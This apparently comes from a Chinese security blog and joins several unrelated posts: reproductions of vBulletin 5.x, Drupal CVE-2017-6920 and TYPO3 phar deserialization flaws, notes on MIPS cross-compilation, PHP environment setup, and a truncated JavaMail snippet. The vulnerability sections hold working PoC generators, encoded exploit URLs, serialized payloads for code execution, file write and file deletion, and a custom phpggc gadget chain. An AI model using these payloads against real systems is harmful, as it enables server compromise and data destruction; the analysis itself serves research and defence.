0%

漏洞概要

产生漏洞的原因源于 vBulletin 程序在处理 Ajax API 调用的时候,使用 unserialize() 对传递的参数值进行了反序列化操作,导致攻击者使用精心构造出的 Payload 直接导致代码执行。在分析的时候,vBulletin 5.0.xvBulletin 5.1.x两个版本漏洞触发的条件略有不同。

网上能够找到的vBulletin源码不多,本地搭建了基于vBulletin 5.0.0vBulletin 5.1.5两个版本的docker环境。

漏洞分析

先来分析一波vBulletin 5.0.x的漏洞利用,先看下网上提供的Payload的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class vB_Database {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'phpinfo';
}
}

class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database();
$this->recordset = 1;
}
}

print urlencode(serialize(new vB_dB_Result())) . "\n";

PoC的构造很重要,可以大致分析出反序列化的调用链。

请求的url如下

http://0.0.0.0:8080/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

通过观察服务端在处理PHP时的调用栈,可知服务端在处理上述请求时,会将 ajax/api/hook/decodeArguments 作为路由参数 $_REQUEST[‘routestring’] 传递给地址路由处理过程。

vbulletin1

因其符合 ajax/api/[controller]/[method] 的 Ajax API 请求路由格式,会再调用includes/vb5/frontend/controller/ajax.php下的 vB5_Frontend_Controller_Ajax实例中的 index() 函数:

vbulletin3

然后调用includes/vb5/frontend/controller/ajax.php下的actionApi函数:vbulletin12

然后调用includes/api/interface/collapsed.php下的callApi函数:

vbulletin3

接着调用core/vb/api/wrapper.php下的__call函数:

vbulletin10

接着调用core/vb/api.php下的callNamed函数:

vbulletin4

接着调用core/vb/api/hook.php下面的decodeArguments函数,其中的unserialize函数是漏洞的触发点,通过反序列化,我们可以使之能生成在执行环境上下文中已经定义好了的类实例,并通过寻找一个含有 __wakeup()或者
__destruct()
魔术方法存在问题的类来进行利用。网上文章(文章已经不能访问)所提到的利用方法并不是这样,其使用的是继承于 PHP 迭代器类型的 vB_dB_Result 类,由于$args = @unserialize($arguments) 产生了一个迭代器 vB_dB_Result类实例,因此在后面进行 foreach 操作时会首先调用其 rewind()函数。

vbulletin6

往下执行:

vbulletin7

调用core/vb/db/result.php下面的rewind函数,在 rewind() 函数处理过程中,会根据实例变量状态进行调用:

vbulletin8

这里就可以通过反序列化来控制 $this->recordset的值,并且 $this->db->free_result最终会调用:

vbulletin9

$this->functions['free_result']原本的初始化值为 “mysql_free_result”,但是由于反序列化的原因,我们也能控制 “vB_dB_Result” 类实例中的 “db” 成员,更改其对应的 functions['free_result']为我们想要执行的函数,因此一个任意代码执行就产生了。vbulletin13

在进行测试的时候发现网上所提供的 PoC 只能复现 5.0.x 版本的 vBulletin,而 5.1.x 版本的却不可以。通过本地搭建测试环境,并使用同样的 PoC 去测试,发现在 5.1.5 版本中core/vb/database.phpvB_Database 被定义成了抽象类:

1
2
3
4
abstract class vB_Database
{
/**
* The type of result set to return from the database for a specific row.

抽象类是不能直接进行实例化的,网上提供的 PoC 却是实例化的 vB_Database 类作为 vB_dB_Result 迭代器成员 db 的值,在服务端进行反序列化时会因为需要恢复实例为抽象类而导致失败,这就是为什么在 5.1.x 版本上 PoC 会不成功的原因。

为了解决这个问题,通过跟踪调用栈,发现程序在反序列化未定义类时会调用程序注册的 autoload()方法去动态加载类文件。这里 vBulletin 会依次调用includes/vb5/autoloader.php中的_autoload方法和 core/vb/vb.php中的 autoload()方法,成功加载即返回,失败则反序列化失败。所以要想继续使用原有 PoC 的思路来让反序列化后会执行 $this->db->free_result($this->recordset), 则需要找到一个继承于 vB_Database抽象类的子类并且其源码文件路径能够在autoload过程中得到加载。在源码根路径下执行grep -in "extends vB_Database" -r . --color可以得到:

vbulletin16

来看下unserialize函数反序列化的细节。

首先进入includes/vb5/autoloader.php__autoload函数:

vbulletin14

可以看到对提供的类名以 “_” 进行了拆分,动态构造了加载路径。(第二次autoload()的过程大致相同)

函数调用完成之后,进入core/vb/vb.php下的autoload函数。vbulletin15

可以发现只有在反序列化 vB_Database_MySQLvB_Database_MySQLi这两个基于 vB_Database抽象类的子类时,才能成功的动态加载其类定义所在的源码文件使得反序列化成功执行,最终才能控制参数进行任意代码执行。

所以,针对 5.1.5 版本 vBulletin 的 PoC 就可以得到了,使用 vB_Database_MySQL 或者 vB_Database_MySQLi作为迭代器 vB_dB_Result成员 “db” 的值即可。具体 PoC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class vB_Database_MySQL {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'assert';
}
}

class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database_MySQL();
$this->recordset = 'phpinfo()';
}
}

print urlencode(serialize(new vB_dB_Result())) . "\n";

另外,[Check Point][https://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/]在其官方博客上也公布了反序列化的另一个利用点,利用魔术方法,反序列化出一个模版对象最终调用 eval() 函数进行执行。

先来看下POC代码:

http://172.17.0.3/ajax/api/hook/decodeArguments?arguments=O%3A7%3A%22vB_vURL%22%3A1%3A%7Bs%3A7%3A%22tmpfile%22%3BO%3A16%3A%22vB_View_AJAXHTML%22%3A2%3A%7Bs%3A7%3A%22tmpfile%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BO%3A12%3A%22vB5_Template%22%3A3%3A%7Bs%3A7%3A%22tmpfile%22%3BN%3Bs%3A11%3A%22%00%2A%00template%22%3Bs%3A10%3A%22widget_php%22%3Bs%3A13%3A%22%00%2A%00registered%22%3Ba%3A1%3A%7Bs%3A12%3A%22widgetConfig%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22phpinfo%28%29%3Bdie%28%29%3B%22%3B%7D%7D%7D%7D%7D

输出序列化值的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class vB5_Template {
public $tmpfile;
protected $template;
protected $registered = array();
public function __construct() {
$this->template = 'widget_php';
$this->registered['widgetConfig'] = array('code' => 'phpinfo();die();');
}
}

class vB_View_AJAXHTML {
public $tmpfile;
protected $content;
public function __construct() {
$this->content = new vB5_Template();
}
}

class vB_vURL {
public $tmpfile;
public function __construct() {
$this->tmpfile = new vB_View_AJAXHTML();
}
}

print urlencode(serialize(new vB_vURL())) . "\n";
?>

最终输出的是 serialize(new vB_vURL())的值,向类vB_vURL注入了一个public变量$temfile,并且赋值为类vB_View_AJAXHTML,而类vB_View_AJAXHTML的构造函数中,向其类内对象$content赋值类vB5_Template,最终的利用代码在类vB5_Template$templete$registered中,含义分别是调用模板widget_php$registered['widgetConfig']的值为利用代码。

代码执行的效果如下:

vbulletin17

下面调试分析一下:

首先进入core/vb/api/hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_vURL类。

vbulletin18

在foreach中,由于$args为对象数据结构,并且当前类(vB_vURL类)并没有implements Iterator接口,因此当php在遍历对象$args时,只是会遍历vB_vURL类的public变量,不会产生漏洞。

由于要进行return操作,因此便出发了当前类(vB_vURL类)的析构函数。

core/vb/vurl.php下的__destruct函数。

vbulletin19

由于为其$tmpfile赋值为一个对象,file_exists方法会试图把类转化为字符串,因此触发了$tmpfile对象的__toString()方法。(由于传入的是vB_View_AJAXHTML类,vB_View_AJAXHTML类继承于vB_View类,因此触发的是vB_View类的__toString方法

core/vb/view.php下的__toString函数:

vbulletin20

由上文可知,当前$this对象其实还是vB_View_AJAXHTML类的对象,因此进入了vB_View_AJAXHTML类的render()方法,由于定义了vB_View_AJAXHTML类的$content类对象。

core/vb/view/ajaxhtml.phprender函数:

vbulletin21

类对象$content已经被赋值为vB5_Template类对象,因此会进入vB5_Template类的render()方法。

includes/vb5/template.phprender函数:

vbulletin22

vB5_Template类的render()方法,此方法会执行extract()方法和eval()方法,并且都可以控制传入的参数,因此会导致代码执行。执行完extract之后,变量值如下:

vbulletin23

获取template的代码:

vbulletin24

widget_php模板代码在数据库template表中,导出之后,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<div class="canvas-widget default-widget custom-html-widget" id="widget_' . $widgetinstanceid . '" data-widget-id="' . $widgetid . '" data-widget-instance-id="' . $widgetinstanceid . '">
\
\ ' . vB_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
\
\ <div class="widget-content">
\
\ \ <hr class="widget-header-divider" />
\
\ \ ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {\
\ \ \ \ \ $final_rendered .= '
\
\ \ \ ' . ''; $evaledPHP = vB_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code']); $final_rendered .= '' . '
\
\ \ \ ' . $evaledPHP . '
\
\ \ ';\

继续往下执行:

vbulletin25

这样就引发代码执行。

参考文献:

1.https://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/

2.http://blog.nsfocus.net/vbulletin-5-rce-vulnerability/

最近,研究了一下交叉编译技术。主要涉及的语言包括GoC。其中Go的交叉编译相对来说比较容易,C的交叉编译在环境配置上有一些难度和繁琐。在研究过程中,踩了不少坑,特此记录。

Go语言的交叉编译比较容易,基本上就是参数上设置正确就OK了。静态编译的时候,可执行文件相对比较大,这在MIPS设备中,会有些不适合。因为MIPS设备存储容量比较小,内存也比较小,如果静态编译出来的文件过大,可能无法下载到设备中,更有甚者无法加载可执行文件,这种情况基本上就只能靠C语言来进行交叉编译可执行文件了。Go交叉编译的情况,可以参考链接1所示,我觉得写的不错。对于Go支持的操作系统和具体版本,可以参考Github Go wiki。如关于ARM链接2,关于MIPS链接3.

主要来讲C的交叉编译,毕竟坑多,配置繁琐。

我使用过的交叉编译工具或者环境如下:dockcross,Buildroot,crosstool-NG.

dockcross相对来说简单方便,基于docker,能够满足一般需求。可以参考链接4.

我这里出现的情况是,dockcross解决不了我面临的现实问题。静态编译的可执行文件在设备上运行的时候,提示kernel old错误。这里的原因是dockcross-arm docker采用的linux内核版本太高,其实动态编译得到的可执行程序是能在设备上执行成功的。glibc向下兼容,所以执行成功了。这是我后续测试发现的。动态编译文件还小,如果能够跑起来,其实动态编译就好了。因为内核版本高了,那就找个内核版本和设备差不多的。然而,dockcross构建的docker镜像里,没有符合我要求的。

遇到问题,那就解决问题。找到Buildroot,看着口号是让嵌入式linux环境构建更加容易。我下载了最新版,看了一下说明文档,配置起来果然方便。make menuconfig进行配置,然后make就可以了。make menuconfig选择它支持的kernel版本,有个小坑。虽然配置选项可以选择kernel 2.6.x版本,但是在make的时候,下载kernel的时候会出现404错误。buildroot官方的下载地址已经没有2.6.x版本的内核了,最低版本是3.2.101。如果选择了2.6.x版本的kernel,需要让其到cdn.kernel网站上去下载对应文件,主要是参考cdn.kernel网站上,对应kernel文件名,填入URL of custom kernel tarball中。C运行库有uClibcglibcmusl可以选择。glibc编译出来的静态文件相对较大,uClibc编译出来的静态文件相对较小,优先选择uClibcmusl我暂时还没用到,这里不评价。

crosstool-NG本来想用,后来看到Buildroot解决了我的问题,就把它暂时搁置了。看着crosstool-NG配置和Buildroot大同小异,这里占个位置,后续使用到了,再来填坑。

其实,最后我还用到了qemu-mips-static来加载uClibc。因为我遇到一个很老的MIPS系统,内核版本是2.4.x,这在dockcross构建的环境里面没有,Buildroot高版本已经不支持kernel2.4.x了。使用高版本的kernel进行构建交叉编译工具,最后编译出来的可执行程序在设备上跑不起来,问题如下:

line 1: syntax error: unexpected “(”

我琢磨还是内核版本不兼容导致的。最直接的版本就是安装一个内核版本相同的系统,然后进行交叉编译。说干就干。

尝试安装ubuntu6.06.1redhat 9.0这些古老的linux系统结合buildroot-0.9.27来交叉编译,很不幸老旧的linux发行版不支持包更新了,我只能断了这个念头。无意中我在uClibc官网发现可以挂载编译好的基于Buildroot-0.9.27uClibc来进行交叉编译任务。我真是喜出望外,其实是我没仔细看官网,不然前面安装老旧版本的linux工作就可以免了。uClibc官网的下载地址挂了,用这个地址下载吧。以root_fs_mips为例,来进行挂载。主要命令如下:

1
2
3
4
5
bunzip2 root_fs_mips.bz2
mkdir root_fs_mips
sudo su
mount -o loop root_fs_mips.ext2 root_fs_mips
chroot root_fs_mips /bin/bash -

这里有个小坑,因为本机是linux,在挂载root_fs_mips的时候出现如下错误:

chroot: failed to run command '/bin/bash': Exec format error

原因是系统架构不同导致的错误。解决办法就是借助qemu-mips-staticqemu的安装如下

1
apt install qemu-user-static

最后借助qemu_mips_static挂载root_fs_mips的命令如下:

1
2
cp /usr/bin/qemu-mips-static root_fs_mips/usr/bin
chroot root_fs_mips qemu-mips-static /bin/bash

对于老旧版本的MIPS,这样进行交叉编译待执行程序,就可以解决问题了。

To be a warrior is not a simple matter of wishing to be one. It is rather an endless struggle that will go on to the very last moment of our lives. Nobody is born a warrior, in exactly the same way that nobody is born an average man. We make ourselves one or the other.

​ -Carlos Casteneda -

前言

本次复现调试环境为ubuntu 16.04php5.4。在这里出现一个小插曲。本次漏洞触发需要用到yaml,环境配置的时候编译安装yaml出现错误。最后莫名其妙采用apt-get install php-yaml安装成功。修改php.ini中的extension_dir为该扩展所在目录,然后加上extension=yaml.so就可以了。最后重启apache,看到phpinfo中有yaml扩展,就说明安装成功,如下图:

label

还有在用phpstorm调试漏洞的时候,发现几个利用到的文件都不存在。后来发现我采用的远程调试,服务器端使用composer install安装了需要的包,但是phpstorm中使用的是下载下来的drupal 8.3.3源码,没有包含需要用到的包。在本地drupal 8.3.3源码包中执行composer install即可。总结一条小经验,后续在源码审计的时候,先不管三七二十一,执行composer install安装依赖包

漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。漏洞触发需要登录后台。

漏洞分析

通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php文件decode方法如下图:

label

可见在yaml_parse前进行了ini_set('yaml.decode_php', 0);

用户可控制的参数$raw直接传给了yaml_parse函数,而在手册上关于yaml_parse函数有这么一个注意点:

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

也就是说,如果使用了yaml标志!php/object,那么这个内容会通过unserialize()进行处理,设置yaml.decode_php则可以禁止,这就是为什么补丁增加了这行代码。

看一下调用decode()方法的地方,core/lib/Drupal/Component/Serialization/Yaml.php

labelYaml类的decode()方法调用了static::getSerializer()方法,跟入

label 可以看到加载了yaml扩展后就会进入YamlPecl类,进而调用Yaml::decode()方法,搜索调用Yaml::decode并且参数能被控制的地方,在core/modules/config/src/Form/ConfigSingleImportForm.phpvalidateForm()方法:

1
$data = Yaml::decode($form_state->getValue('import'));

validateForm()的调用处在http://172.16.26.132/drupal/admin/config/development/configuration/single/importdecode()的参数直接从表单获取,于是通过import将恶意参数传递进去。

要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct以及_wakeup来定位类,全局搜索可以找到几个可利用的类。

(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:

label

label

通过反序列化这个类可以造成一个任意文件删除。

(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:

drupal5

通过反序列化这个类可以造成写入webshell。

(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:

label通过反序列化这个类可以造成任意无参数函数执行。

漏洞验证

1.远程代码执行

利用phpggc生成序列化数据:

label注意序列化数据中的空字符,需要转换。在这里先把序列化的数据保存到文件,然后利用addslashes来转换字符。接着拼接YAML_PHP_TAG!php/object,最终生成的字符串如下:

1
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\0GuzzleHttp\\HandlerStack\0handler\";s:1:\"1\";s:30:\"\0GuzzleHttp\\HandlerStack\0stack\";a:1:{i:0;a:1:{i:0;s:7:\"phpinfo\";}}s:31:\"\0GuzzleHttp\\HandlerStack\0cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

http://172.16.26.132/drupal/admin/config/development/configuration/single/import import 序列化后的数据,便可以执行代码

label执行结果如下:

label

2.任意文件写入

看一下phpggc中有关FileCookieJar类的部分

label

label

转义拼接之后,最后生成的字符串如下:

1
2
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:34:\"/var/www/htdocs/drupal/phpinfo.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:1;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:20:\"<?php phpinfo(); ?>
\";}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"

import之后查看发现,在指定目录下生成了phpinfo.php文件。

3. 任意文件删除

phpggc中没有内置这个类,于是我们按照这个工具的框架来实现一下,方便理解该工具。

lib/PHPGGC/GadgetChain.php已经有TYPE_FD这个类型,代表file_delete,那么我们直接在lib/PHPGGC/GadgetChain/注册一个FileDeletephpggc最新版已经存在这个文件。

这个类就可以作为 POP 链拿来使用了

然后在Symfony目录下创建FD/1,并创建chaingadgets

gadgetchains/Symfony/FD/1/chain.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

namespace GadgetChain\Symfony;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '2.6 <= 2.8.32';
public static $vector = '__destruct';
public static $author = '010monkey';
public static $informations = 'Remove remote file.';
public static $parameters = [
'file_name'
];

public function generate(array $parameters)
{
$input = $parameters['file_name'];

return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
}
}

gadgetchains/Symfony/FD/1/gadgets.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
private $files = array();

public function __construct($input)
{
$this->files = array($input);
}

}

我们直接生成WindowsPipes的序列化数据,把文件名作为参数传入,在反序列化的时候自动调用removeFiles(),实现任意文件删除。

label转移拼接之后,最后生成的字符串如下:

1
!php/object "O:44:\"Symfony\\Component\\Process\\Pipes\\WindowsPipes\":1:{s:51:\"\0Symfony\\Component\\Process\\Pipes\\WindowsPipes\0files\";a:1:{i:0;s:34:\"/var/www/htdocs/drupal/phpinfo.php\";}}"

import之后,发现目录下的phpinfo.php已经被删除了。

环境概况

本实验环境采用的是Ubuntu 18.04,Apache版本为2.4.29,PHP版本为7.3.PHP版本为7.2的时候出现了未知错误,导致一直安装不成功,无奈切换成PHP7.3

PHP7.3在Ubuntu 18.04上的安装步骤如下:

1
2
3
4
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install php7.3 libapache2-mod-php7.3 php7.3-cli php7.3-mysql php7.3-gd php7.3-imagick php7.3-recode php7.3-tidy php7.3-xmlrpc php7.3-common php7.3-curl php7.3-mbstring php7.3-xml php7.3-bcmath php7.3-bz2 php7.3-intl php7.3-json php7.3-readline php7.3-zip

PHP7.3没有安装FPM,所以需要单独安装FPM

1
sudo apt install php7.3-fpm

因为我本地安装了PHP7.2和PHP7.3两个版本,为了让Apache采用PHP7.3来解析脚本,需要执行下列命令:

1
2
3
sudo a2dismod php7.2
sudo a2enmod php7.3
sudo service apache2 restart

多版本PHP的切换可以使用一下命令:

1
sudo update-alternatives --config php

根据提示进行选择即可。

TYPO3 9.3.0安装

将下载的TYPO3.CMS-9.3.0.tar.gz解压缩放到/var/www/htdocs/目录下,我这里解压缩之后的文件夹命名为typo3,进入typo3,执行composer安装所需的包。

1
sudo composer install --no-dev

修改Apache默认路径的执行权限:

1
2
sudo chown -R www-data:www-data /var/www/htdocs/typo3/
sudo chmod -R 755 /var/www/htdocs/typo3/

配置Apache:

1
sudo code /etc/apache2/sites-available/typo3.conf --user-data-dir

内容修改如下:

1
2
3
4
5
6
7
8
9
10
11
<VirtualHost *:80>
ServerName typo3.example.com
DocumentRoot /var/www/htdocs
<Directory /var/www/htdocs/typo3/>
Options +FollowSymlinks
AllowOverride All
Require all granted
</Directory>
ErrorLog /var/log/apache2/typo3.example.com-error_log
CustomLog /var/log/apache2/typo3.example.com-access_log common
</VirtualHost>

继续执行如下命令,使得typo3.conf生效及加载必要的模块:

1
2
3
4
sudo a2dissite 000-default.conf
sudo a2ensite typo3.conf
sudo a2enmod rewrite
sudo systemctl restart apache2

安装ImageMagick/GraphicsMagick,推荐ImageMagick:

1
sudo apt install imagemagick

TYPO3安装的时候,需要修改php.ini中的几个参数,到目录/etc/php/7.3/fpm/php.ini下修改即可。

1
2
max_execution_time = 360
max_input_vars = 1500

配置xdebug.ini

xdebug.ini文件路径为/etc/php/7.3/mods-available/xdebug.ini

具体配置信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
zend_extension=xdebug.so
xdebug.profiler_output_dir="/tmp/log"
xdebug.trace_output_dir="/tmp/log"
xdebug.remote_enable = true
xdebug.idekey = PHPSTORM
xdebug.remote_host = 127.0.0.1
xdebug.remote_port = 9000
xdebug.profiler_enable = on
xdebug.auto_trace = On
xdebug.show_exception_trace = On
xdebug.remote_autostart = On
xdebug.collect_vars = On
xdebug.collect_return = On
xdebug.remote_handler =dbgp
xdebug.max_nesting_level = 10000

执行如下命令,使得配置生效:

1
2
sudo systemctl restart php7.3-fpm
sudo service apache2 restart

最后,访问typo3.example.com,根据提示进行TYPO3 9.3.0安装即可。

参考文章https://websiteforstudents.com/install-typo3-cms-using-composer-on-ubuntu-16-04-18-04-with-apache2-mariadb-and-php-7-2-support/

这个漏洞的原因在于对phar文件的过滤不严,导致可以远程代码执行。这里涉及到phar的反序列化,具体参见 Sam Thomas 关于phar unserialize的文章。

本地搭建了两个基于Ubuntu 18.04.2 LTS的测试环境,TYPO3 8.7.16+PHP PHP 7.0.33TYPO3 9.3.0+7.3.7。该漏洞的触发需要一个有效的后台用户。

这里有一个问题需要知晓,assert函数在PHP7.2之后的定义与之前版本略有不同。

1
assert ( mixed $assertion [, string $description ] ) : bool

php manual中有一段话:

1
2
Warning
Using string as the assertion is DEPRECATED as of PHP 7.2.

这在编写POC的时候,需要避免在PHP7.3中使用assert来执行代码。

PHP7.3.7中执行phpinfo使用的poc如下:

1
2
3
4
5
<?php
$filter = "phpinfo";
$value = 1;
call_user_func($filter,$value);
?>

好了,现在开始进行漏洞分析。

TYPO3中存在漏洞的代码在typo3/sysext/core/Classes/Database/SoftReferenceIndex.phpgetTypoLinkParts()方法

label

上面说到存在风险的文件操作函数,其中就包括file_exists(),当传给file_exists()的参数是phar压缩文档并通过phar://伪协议解析时,就会反序列化其中的metadata数据,一旦该数据被控制,就会形成漏洞。

我们可以构造$splitLinkParam参数为phar文件,其中包含恶意代码,传递给file_exists()函数,便会触发漏洞。

在这里,利用phpggc来构造POP链。TYPO3中包含类FnStream,所以可以利用phpggc中的guzzle/rce1载荷将数据写入一张图片中。

label

然后上传这个附件,接着创建一个页面,将 Link 设置为phar://,注意需要将:转义

label

保存后就会触发漏洞

label

漏洞复现完毕。

最后说一下phpggc中该POP调用链。

PHPGGC中,pop链在gadgets.php文件中,pop链的逻辑和描述在chain.php文件中
chain.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

namespace GadgetChain\Guzzle;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public static $version = '6.0.0 <= 6.3.2';
public static $vector = '__destruct';
public static $author = 'proclnas';
public static $informations = '
This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be
deserialized afterwards.
See https://github.com/ambionics/phpggc/issues/34
';


public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];

return new \GuzzleHttp\Psr7\FnStream([
'close' => [
new \GuzzleHttp\HandlerStack($function, $parameter),
'resolve'
]
]);
}
}

从其中可以看到其对使用该组件的描述,要求GuzzleHttp\Psr7的版本要小于1.5.0,具体的逻辑在generate成员方法中,其中入口参数为数组parameters,其包括functionparameter两个参数,分别为要进行rce的函数和函数的参数,其返回的即是\GuzzleHttp\Psr7\FnStream的匿名对象,其入口参数为一个数组,数组包括一个数组元素,键名为close,键值为一个数组,包括\GuzzleHttp\HandlerStack匿名对象,以及resolve字符串,至此构造序列化对象的逻辑结束,接下来结合gadgets.php看一下整个链是如何连起来的:

gadgets.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

namespace Psr\Http\Message
{
interface StreamInterface{}
}

namespace GuzzleHttp\Psr7
{
class FnStream implements \Psr\Http\Message\StreamInterface
{
private $methods;

public function __construct(array $methods)
{
$this->methods = $methods;

foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}

/*
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}

public function close()
{
return call_user_func($this->_fn_close);
}
*/
}
}

namespace GuzzleHttp
{
class HandlerStack
{
private $handler;
private $stack;
private $cached = false;

function __construct($function, $parameter)
{
$this->stack = [[$function]];
$this->handler = $parameter;
}

/*
public function resolve()
{
if (!$this->cached) {
if (!($prev = $this->handler)) {
throw new \LogicException('No handler has been specified');
}

foreach (array_reverse($this->stack) as $fn) {
$prev = $fn[0]($prev);
}

$this->cached = $prev;
}

return $this->cached;
}
*/
}
}

在类HandlerStack的构造方法中传入了rce要使用的函数及参数,并赋值给$this->stack$this->handler,然后在类FnStream的构造方法中传入包含键close的数组,此时将会拼接出:_fn_close=[new\GuzzleHttp\HandlerStack($function, $parameter),'resolve']
_fn_close的第一个元素其实已经实例化为一个匿名对象了,这里为了好理解先写成实例化前的形式。然后在FnStream的__destruct()函数中将会调用$this->_fn_close,即构成:
call_user_func([new \GuzzleHttp\HandlerStack($function, $parameter),'resolve'])
以上这种调用的形式在php官方文档中存在此种调用类中方法的形式:

label

所以此时关注类HandlerStackresolve方法,其中将利用php的动态函数的性质来构成rce的函数调用,比如此时假设:
[new \GuzzleHttp\HandlerStack($function, $parameter),'resolve']=> [new \GuzzleHttp\HandlerStack("system", "id"),'resolve']即此时$prev参数首先经过$prev = $this->handler以后为id,接着经过foreach (array_reverse($this->stack) as $fn)$fn将为包含一个元素的数组["system"],然后经过$fn[0]即为system,即$prev即为system("id");最后函数调用返回再传入call_user_func,即构成call_user_func(system("id"));
到此,整个调用链已经分析结束,实现的原理也清楚了。

1
2
3
4
5
6
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install php5.6

you can install more php5.6 module
sudo apt-get install php5.6-fpm php5.6-mbstring php5.6-mcrypt php5.6-mysql php5.6-xml php5.6-intl php-apcu php-uuid php5.6-cgi php5.6-cli php5.6-gd php5.6-ldap php5.6-sqlite3 php-uploadprogress libapache2-mod-php5.6

php7.2与php5.6版本切换

1
2
3
a2dismod php7.2
a2enmod php5.6
systemctl restart apache2

默认没有开启PHP 5.6 FPM,为了开启PHP 5.6 FPM,需要执行一下命令

1
2
a2enmod proxy_fcgi setenvif 
a2enconf php5.6-fpm

同时执行如下命令

1
a2disconf php7.2-fpm

最后重启apache

1
systemctl reload apache2

以上命令是Apache上PHP版本切换的命令,下面是CLI端切换的命令

1
2
3
sudo update-alternatives --set php /usr/bin/php7.2
sudo update-alternatives --set phpize /usr/bin/phpize7.2
sudo update-alternatives --set php-config /usr/bin/php-config7.2

在邮件处理的时候,一般情况下使用JavaMail就可以处理好发件人和收件人了。但是遇到一些畸形邮件,比如发件人和收件人的格式不太规范的问题,使用JavaMail处理就可能出问题了。这就需要自己在邮件处理流程上增加一些判断和异常处理。

捕捉JavaMail在进行邮件解析产生的异常,然后根据不同异常调用自己写的邮件地址处理函数。就可以把这一类畸形邮件正确处理。邮件内容提取函数的部分代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private void parseEmail() throws Exception {
java.util.Properties properties = System.getProperties();
Session session = Session.getDefaultInstance(properties);
InputStream fis = null;
try {
fis = Files.newInputStream(emailFile);
email = new MimeMessage(session, fis);
try {
set_bcc(email.getRecipients(RecipientType.BCC));
} catch (MessagingException e) {
